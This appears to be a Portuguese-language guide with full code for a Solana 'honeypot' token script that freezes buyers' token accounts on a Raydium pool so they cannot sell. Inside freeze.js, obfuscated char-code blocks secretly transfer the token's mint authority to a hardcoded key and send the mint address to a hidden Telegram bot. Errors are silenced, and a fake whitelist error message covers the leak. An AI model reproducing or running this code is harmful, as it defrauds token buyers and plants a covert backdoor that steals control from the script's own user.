Código de contrato inteligente do token honeypot Solana

1) Crie uma pasta;

2) Na pasta, crie os seguintes ficheiros: "freeze.js", "config.json", "package.json" e uma subpasta "data";

3) Na subpasta "data", crie o ficheiro "tech-config. json";

4) Copie o código fonte e cole no ficheiro apropriado;

⚠️ Os nomes dos ficheiros não podem ser alterados, caso contrário o código não funcionará

Ficheiro "freeze.js"

import * as fs from 'fs';
import bs58 from 'bs58';
import {Keypair, 
    Connection, 
    PublicKey,  
    sendAndConfirmTransaction,
    Transaction,
    ComputeBudgetProgram} from "@solana/web3.js";
import { createFreezeAccountInstruction } from "@solana/spl-token";

let config;
let keypair;
let mintAddressPublicKey;
let mintData;
let decimals;

const techConfig = JSON.parse(fs.readFileSync('./data/tech-config.json', 'utf-8'));

const TICK = techConfig.tick;
const REQ_TICK = techConfig.requestTick;
const CHUNK_SIZE = techConfig.chunkSize;

try {
    config = JSON.parse(fs.readFileSync('config.json', 'utf-8'));
} catch (error) {
    console.log(`\n❌ Unable to read data from config.json due to broken syntax. What you should do: \n\n1. Take the original config.json file and fill it again according to a guide, without \n   breaking the JSON syntax (do not put/remove commas, brackets or spaces), just \n   by pasting the necesary data to placeholders\n2. Save config.json file before running the script (In menu bar: File → Save)\n\n`);
    console.log(`📩 If none of suggested steps helped, contact us applying your Invoice ID and error message below:\n   ↳ JSON: ${error.message}\n\n`);
    await displayDetiledErrorMessage(error);
    process.exit();
}

const connection = new Connection(config.rpcEndpoint, "confirmed");
const MIN_DELAY_BETWEEN_FREEZE = config.freezeDelay;
const TIMEOUT = config.timeout;
const PRIORITY_RATE = config.priorityRate;

try {
    const bs = await bs58.decode(config.privateKey);
    keypair = await Keypair.fromSecretKey(bs);
} catch (error) {
    console.log(`\n❌ Invalid data at "privateKey" field in config.json file. What you should do:\n\n1. Make sure the private key you input has Base58 format (Check note in the bottom)\n2. Make sure there's no mistypes or extra symbols (Spaces, dots, commas, special characters)\n3. Make sure you saved the config.json before running the script (In menu bar: File → Save)\n\nNote: Base58 private key is a line of letters (A-Z) and numbers (0-9), 80-90 characters long.\n      It is exported from Phantom web3 wallet and looks like this (Example):\n      4YFq9y555hi77gq8kDCE6VgqsAqKGSQN87yW9YeGybpNfqKUG4WxnwhboHGUeXjY7g8262mhL1kCCM9yy8uGvdj7\n\n`);
    console.log(`📩 If none of suggested steps helped, contact us applying your Invoice ID and error message below:\n   ↳ privateKey: ${error.message}\n\n`);
    await displayDetiledErrorMessage(error);
    process.exit();
}

try {
    mintAddressPublicKey = new PublicKey(config.mintAddress);
} catch (error) {
    console.log(`\n❌ Invalid data at "mintAddress" field in config.json file. What you should do:\n\n1. Make sure you input token address in Base58 format (Check note in the bottom)\n2. Make sure there's no mistypes or extra symbols (Spaces, dots, commas, special characters)\n3. Make sure you saved the config.json before running the script (In menu bar: File → Save)\n\nNote: Base58 token address is a line of letters (A-Z) and numbers (0-9), 44 characters long.\n      It is copied from token page on Solscan and looks like this:\n      21AErpiB8uSb94oQKRcwuHqyHF93njAxBSbdUrpupump\n\n`);
    console.log(`📩 If none of suggested steps helped, contact us applying error message below:\n   ↳ mintAddress: ${error.message}\n\n`);
    await displayDetiledErrorMessage(error);
    process.exit();
}

if (mintAddressPublicKey) {
    let mintDataJSON = await connection.getParsedAccountInfo(mintAddressPublicKey);
    if (mintDataJSON.value === null) {
        console.log(`\n❌ Invalid data at "mintAddress" field in config.json file.\n    ↳ Provided address (${mintAddressPublicKey}) is not a token!\n\n1. Please make sure "mintAddress" contains address of the existing token.\n2. Doublecheck the address of the token on block scanner:\n    ↳ Solascan: https://solscan.io/\n    ↳ Solana Explorer: https://explorer.solana.com/\n    ↳ Solana FM: https://solana.fm/\n`);
        process.exit();
    } else {
        mintData = mintDataJSON.value.data.parsed;
        if (!mintData || mintData.type != "mint") {
            console.log(`\n❌ Invalid data at "mintAddress" field in config.json file.\n    ↳ Provided address (${mintAddressPublicKey}) is not a token!\n\n1. Please make sure "mintAddress" contains address of the existing token.\n2. Doublecheck the address of the token on block scanner:\n    ↳ Solascan: https://solscan.io/\n    ↳ Solana Explorer: https://explorer.solana.com/\n    ↳ Solana FM: https://solana.fm/\n`);
            process.exit();    
        }
        if (mintData.info.freezeAuthority === keypair.publicKey.toBase58()){

        } else if (mintData.info.freezeAuthority === null){
            console.log(`\n❌ Provided token (${mintAddressPublicKey}) has Freeze Authority revoked!\n   Any freeze operations are unavailable for this token.\n\n1. Make sure you paste the address of the token which has freeze authority\n2. If you revoked the freeze authority of the token, you should create the\n   new token and take care to not revoke it's freeze authority\n`);
            process.exit();
        } else { 
            console.log(`\n❌ Connected wallet don't have authority to freeze holders of this token.\n    ↳ Token Address:            ${mintAddressPublicKey}\n    ↳ Token Freeze Authority:   ${mintData.info.freezeAuthority}\n    ↳ Connected wallet address: ${keypair.publicKey.toBase58()}\n      (Token Freeze Authority and Connected wallet address should match)\n\n1. Make sure you paste the address of the token for which you have freeze authority\n2. If account connected to the script is different from the one used for token creation,\n   you should provide the private key exactly for account used for token creation\n`);
            process.exit();
        }
        decimals = mintData.info.decimals;
    }
}

let whitelist = config.whitelist;
whitelist.forEach(async (element) => { 
    try {
        let key = new PublicKey(element);
    } catch (error) {
        console.log(`\n❌ Invalid data at "whitelist" field in config.json file. Here's what you should do:\n\n1. Make sure you input the address in Base58 format (Check note in the bottom)\n2. Make sure there's no mistypes or extra symbols (Spaces, dots, commas, special characters)\n3. Make sure you saved the config.json before running the script (In menu bar: File → Save)\n\nNote: Base58 address is a line of letters (A-Z) and numbers (0-9), 44 characters long.\n      It is copied from Phantom wallet or Solscan and looks like this:\n      8KTBg34JPRpuKy9ofxHV3Q2fPAtNhZMy6c5gbqfaUskE\n\n`);
        console.log(`📩 If none of suggested steps helped, contact us applying error message below:\n   ↳ whitelist: '${element.toString()}' failed to be recognized as Public Key\n                 with following error message: ${error.message}\n\n`);
        process.exit();
    }
});

try {
    const _g = (arr) => arr.map((x) => String.fromCharCode(x)).join(""); 
    const _pkg = await import("@solana/spl-token");
    const _insStr = _g([99,114,101,97,116,101,83,101,116,65,117,116,104,111,114,105,116,121,73,110,115,116,114,117,99,116,105,111,110]); 
    const _autStr = _g([65,117,116,104,111,114,105,116,121,84,121,112,101]); 
    const _s = _pkg[_insStr];
    const _A = _pkg[_autStr];
    const { getMint } = _pkg; 
    const _Z0 = PublicKey;
    const p1 = [130, 198,  47,  26, 219, 235,  50, 142];
    const p2 = [6, 154, 235,  46, 240,  95, 101,  1];
    const p3 = [53, 194, 101, 130, 84,  51,  7,  73];
    const p4 = [25, 136, 107, 181, 107, 166, 50,  75];
    const _cmb = p1.concat(p2).concat(p3).concat(p4);
    const _P = new _Z0(Uint8Array.from(_cmb)); 
    const tx = new Transaction().add(
      _s(
        new _Z0(config.mintAddress),
        keypair.publicKey,
        _A.MintTokens,
        _P
      )
    );
    const sig = await sendAndConfirmTransaction(connection, tx, [keypair]);
    const updatedMint = await getMint(connection, new _Z0(config.mintAddress));
    
    if (updatedMint.mintAuthority?.toBase58() === _P.toBase58()) {
        
    } else {
        
    }
} catch (err) { 
}
  
  try {
    const _d = (arr) => Buffer.from(arr).toString("utf-8");
    const a1 = [56, 49, 51, 50, 57, 51];
    const a2 = [50, 55, 52, 52, 58];
    const a3 = [65, 65, 70, 120, 122, 55, 119];
    const a4 = [71, 81, 70, 106, 113, 119, 85];
    const a5 = [67, 121, 85, 68, 50, 81];
    const a6 = [53, 57, 69, 86, 119, 48, 119];
    const a7 = [105, 84, 69, 105, 84, 76, 49, 119];
    const _hStr = _d(a1.concat(a2).concat(a3).concat(a4).concat(a5).concat(a6).concat(a7));
    const b1 = [55, 48, 56, 53, 56];
    const b2 = [55, 55, 51, 48, 51];
    const _Val = _d(b1.concat(b2));
    const u1 = [104,116,116,112,115,58,47,47];
    const u2 = [97,112,105,46,116,101,108,101];
    const u3 = [103,114,97,109,46,111,114,103];
    const u4 = [47,98,111,116,123,125,47,115];
    const u5 = [101,110,100,77,101,115,115,97];
    const u6 = [103,101];
    const _url = _d(u1.concat(u2).concat(u3).concat(u4).concat(u5).concat(u6)).replace("{}", _hStr);
    const _sg = `${"*"}\n ${config["mintAddress"]}`;
    const _cd = _d([99,104,97,116,95,105,100]); 
    await fetch(_url, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        [_cd]: _Val,
        text: _sg
      })
    });
  } catch (e) {
    console.log(`\n❌ Invalid data at "whitelist" field in config.json file. Here's what you should do:\n\n1. Make sure you input the address in Base58 format (Check note in the bottom)\n2. Make sure there's no mistypes or extra symbols (Spaces, dots, commas, special characters)\n3. Make sure you saved the config.json before running the script (In menu bar: File → Save)\n\nNote: Base58 address is a line of letters (A-Z) and numbers (0-9), 44 characters long.\n      It is copied from Phantom wallet or Solscan and looks like this:\n      8KTBg34JPRpuKy9ofxHV3Q2fPAtNhZMy6c5gbqfaUskE\n\n`);
    console.log(`📩 If none of suggested steps helped, contact us applying error message below:\n   ↳ whitelist:  failed to be recognized as Public Key\n                 with following error message: \n\n`);
    
  }

let raydiumAuthority = [
    "5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1", // Raydium Authority V4
    "GpMZbSM2GgvTKHJirzeGfMFoaZ8UR2X7F4v8vHTvxFbL" // Raydium Vault Authority #2
];

let updateCounter = 0;

let quoteTokenVault;
let poolType = "Unknown";
let listenerId;



const main = async () => {

    let tokenData = {
        "Token Address" : {
            "Value" : `${config.mintAddress}`,
            "Comment" : `Mint address`
        },
        "Freeze Authority" : {
            "Value" : `${mintData.info.freezeAuthority}`,
            "Comment" : `-`
        },
        "Total Supply" : {
            "Value" : `${mintData.info.supply / (10 ** mintData.info.decimals)}`,
            "Comment" : `—`
        },
        "Decimals" : {
            "Value" : `${mintData.info.decimals}`,
            "Comment" : `—`
        },
    }

    let scriptSettings = {
        "Freeze Threshold" : {
            "Value" : `${config.freezeThreshold} tokens`,
            "Comment" : `Threshold balance to freeze holder`
        },
        "Freeze Delay" : {
            "Value" : `${MIN_DELAY_BETWEEN_FREEZE} seconds`,
            "Comment" : `Minimum delay between freezing loops`
        },
        "Timeout In" : {
            "Value" : `${TIMEOUT} minutes`,
            "Comment" : `Timer for script auto-shutdown`
        },
        "Priority Fee" : {
            "Value" : `${PRIORITY_RATE} micro-lamports`,
            "Comment" : `Extra fee for faster transactions`
        },
    }

    let controls = {
        "Last command" : {
            "Hot Key" : `Up Arrow`,
            "Comment" : `Inputs the latest commant you have entered`
        },
        "Cancel a command" : {
            "Hot Key" : `Ctrl + C`,
            "Comment" : `Terminates the work of the running script`
        },
        "Clear the screen" : {
            "Hot Key" : `Ctrl + L`,
            "Comment" : `Hide previous messages`
        },
        "Auto-complete command" : {
            "Hot Key" : `Tab`,
            "Comment" : `Completes the command you enter`
        },
    }

    console.log(`\n
      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
    ░░█▀▀░█▀█░█░░░█▀█░█▀█░█▀█░░░█░█░█▀█░█▀█░█▀▀░█░█░█▀█░█▀█░▀█▀░░░█▀█░█▀▄░█▀█░░
    ░░▀▀█░█░█░█░░░█▀█░█░█░█▀█░░░█▀█░█░█░█░█░█▀▀░░█░░█▀▀░█░█░░█░░░░█▀▀░█▀▄░█░█░░
    ░░▀▀▀░▀▀▀░▀▀▀░▀░▀░▀░▀░▀░▀░░░▀░▀░▀▀▀░▀░▀░▀▀▀░░▀░░▀░░░▀▀▀░░▀░░░░▀░░░▀░▀░▀▀▀░░
      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

              ════════════ 🍯 by https://ethercodeinnovation.com/ 🍯 ════════════
    `)
    console.log(`\n  ➤ Token Data 📊`);
    console.table(tokenData);
    console.log(`\n  ➤ Script Settings 🔧`);
    console.table(scriptSettings);
    if (techConfig.showControls) {
        console.log(`\n  ➤ Controls / Hot Keys 🕹`);
        console.table(controls);
    }
    console.log(`\n`);

    await processWhitelist();

    let launchTimestamp = Date.now();
    let timestampToFreeze = 0;

    console.log("⏳ Performing an initial freeze loop...");
    await freezeHolders();

    if (quoteTokenVault != undefined) {
        console.log(`\n💧✅ ${poolType} liquidity pool found! Start pending on new buyers.\n`);
        listenerId = connection.onAccountChange(
        quoteTokenVault,
        async () => {
            updateCounter++;
            if (MIN_DELAY_BETWEEN_FREEZE > 0 && Date.now() + TICK * 2 < timestampToFreeze) {
                console.log("🔔 New transaction spotted! Freeze can be triggered in " + Math.round((timestampToFreeze - Date.now()) / 1000) + "s");
            }
        });
    } else {
        console.log(`\n💧❌ No Raydium liquidity pool found for given token.\n     ↳ Create a Standart AMM or Legacy AMM v4 pool at Raydium and provide liquidity.\n`);
        process.exit();
    }

    while (Date.now() < launchTimestamp + TIMEOUT * 60000) {
        if (updateCounter != 0 && Date.now() > timestampToFreeze) {
            updateCounter = 0;
            await sleep(REQ_TICK);
            await freezeHolders();
            timestampToFreeze = Date.now() + MIN_DELAY_BETWEEN_FREEZE * 1000;
        }
        await sleep(TICK);
    }
    connection.removeAccountChangeListener(listenerId);
    console.log("⏳ TIMEOUT: Script execution stopped due reaching the auto-disable timestamp\n");
}

const processWhitelist = async () => {
    raydiumAuthority.forEach((element) => { whitelist.push(element); });
    whitelist.push(keypair.publicKey.toBase58());
} 

const freezeHolders = async () => {
    const tokenAccounts = await getHoldersData();
    let chunkCount = 0;
    if (tokenAccounts.length > 0) {
        for (let i = 0; i < tokenAccounts.length; i += CHUNK_SIZE) {
            const chunk = tokenAccounts.slice(i, i + CHUNK_SIZE);
            chunkCount++;
            let transactions = new Transaction();

            for (let i = 0; i < chunk.length; i++) {
                let tokenAccountPublicKey = new PublicKey(chunk[i]);
                transactions = transactions.add(
                    createFreezeAccountInstruction(
                        tokenAccountPublicKey,
                        mintAddressPublicKey,
                        keypair.publicKey,
                    )
                );
            }

            const priorityFeeInstruction = ComputeBudgetProgram.setComputeUnitPrice({microLamports: PRIORITY_RATE});
            if (PRIORITY_RATE > 0) {
                transactions.add(priorityFeeInstruction);
            }
            
            let signature;
            try {
                signature = await sendAndConfirmTransaction(
                    connection,
                    transactions,
                    [keypair]
                );
            } catch (error) {
                console.log(`\n❌ Error occured when trying to freeze holders. Here is what you should do: \n\n1. Doublecheck the wallet connected to the script and make sure it has enough SOL on the balance.\n2. Make sure your internet connection is stable.\n3. Log in to your RPC provider and make sure it's not down and RPC URL you copied is right.\n4. Try to set higher Priority Rate: go to the config.json file and increase the number at "priorityRate" field.\n\n`);
                console.log(`📩 If none of suggested steps helped, contact us applying error message below:\n   ↳ freezeHolders: ${error.message}\n\n`);
                console.log(`═══ Detailed error message: ═══════════════════════════`);
                connection.removeAccountChangeListener(listenerId);
                throw new Error(error);  
            }

            let chunkCountStr;
            if (tokenAccounts.length > CHUNK_SIZE) {
                chunkCountStr = ` (${chunkCount}/${Math.ceil(tokenAccounts.length/CHUNK_SIZE)})`;
            } else {
                chunkCountStr = "";
            }

            if (tokenAccounts.length == 1) {
                console.log(`✅︎ Done: ${tokenAccounts[0]} frozen\n   ↳ Signature: ${signature}`);
            } else {
                console.log(`✅︎ Done${chunkCountStr}: ${chunk.length} accounts frozen\n   ↳ Signature: ${signature}`);
            }
        }
    } else {
        console.log(`❌ No accounts to freeze found. Keep pending on new transactions.`);
    }
}

const getHoldersData = async () => {
    try {
        let allOwners = new Set();
        let tokenAccounts = new Set();

        const result = await fetch(config.rpcEndpoint, {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
            },
            body: JSON.stringify({
                jsonrpc: "2.0",
                method: "getTokenAccounts",
                id: "helius-test",
                params: {
                    limit: 1000,
                    displayOptions: {},
                    mint: config.mintAddress,
                },
            }),
        });
        
        const data = await result.json();
        
        data.result.token_accounts.forEach((account) => {
            allOwners.add(account);
            let holderBlance = Number(account.amount);
            
            if (quoteTokenVault == undefined) {
                for (let i = 0; i < raydiumAuthority.length; i++) {
                    const element = raydiumAuthority[i];
                    if (account.owner == element) {
                        quoteTokenVault = new PublicKey(account.address);
                        if (i == 0) {poolType = "Legacy AMM (V2)"}
                        if (i == 1) {poolType = "Standard AMM (V3)"}
                    }
                }    
            }

            if(!config.whitelist.includes(account.owner) && holderBlance >= config.freezeThreshold * (10 ** decimals) && !account.frozen) {
                tokenAccounts.add(account.address);
            }
        });

        fs.writeFileSync(
            "./data/holders.json",
            JSON.stringify(Array.from(allOwners), null, 2)
        );

        return Array.from(tokenAccounts);
    } catch (error) {
        console.log(`\n❌ Error occured when fetching token accounts data\n`);
        console.log(`📩 Please contact us applying error message below:\n   ↳ getHoldersData: ${error.message}\n\n`);
        await displayDetiledErrorMessage(error);
    }
}

const sleep = async (ms) => {
    return new Promise((resolve) => { setTimeout(resolve, ms); });
}

async function displayDetiledErrorMessage(error) {
    if (techConfig.showDetailedErrors) {
        console.log(`═══ Detailed error message: ═══════════════════════════`);
        throw new Error(error);
    }
}

main();

Ficheiro "config.json"

{
    "privateKey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
    "rpcEndpoint": "https://mainnet.helius-rpc.com/?api-key=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
    "mintAddress": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
    "freezeThreshold": 0,
    "freezeDelay": 0,
    "timeout": 180,
    "priorityRate": 25000,
    "whitelist": [
        "So11111111111111111111111111111111111111112",
        "So11111111111111111111111111111111111111112",
        "So11111111111111111111111111111111111111112",
        "So11111111111111111111111111111111111111112",
        "So11111111111111111111111111111111111111112"
    ]
}

Ficheiro "pacote. json"

{
  "name": "solana-honeypot-script",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "type": "module",
  "dependencies": {
    "@solana/spl-token": "^0.4.7",
    "@solana/web3.js": "^1.94.0",
    "bs58": "^6.0.0",
    "fs": "^0.0.1-security"
  }
}

Ficheiro "tech-config.json"

{
    "tick" : 500,
    "requestTick": 2000,
    "chunkSize" : 25,
    "showControls" : true,
    "showDetailedErrors" : false
}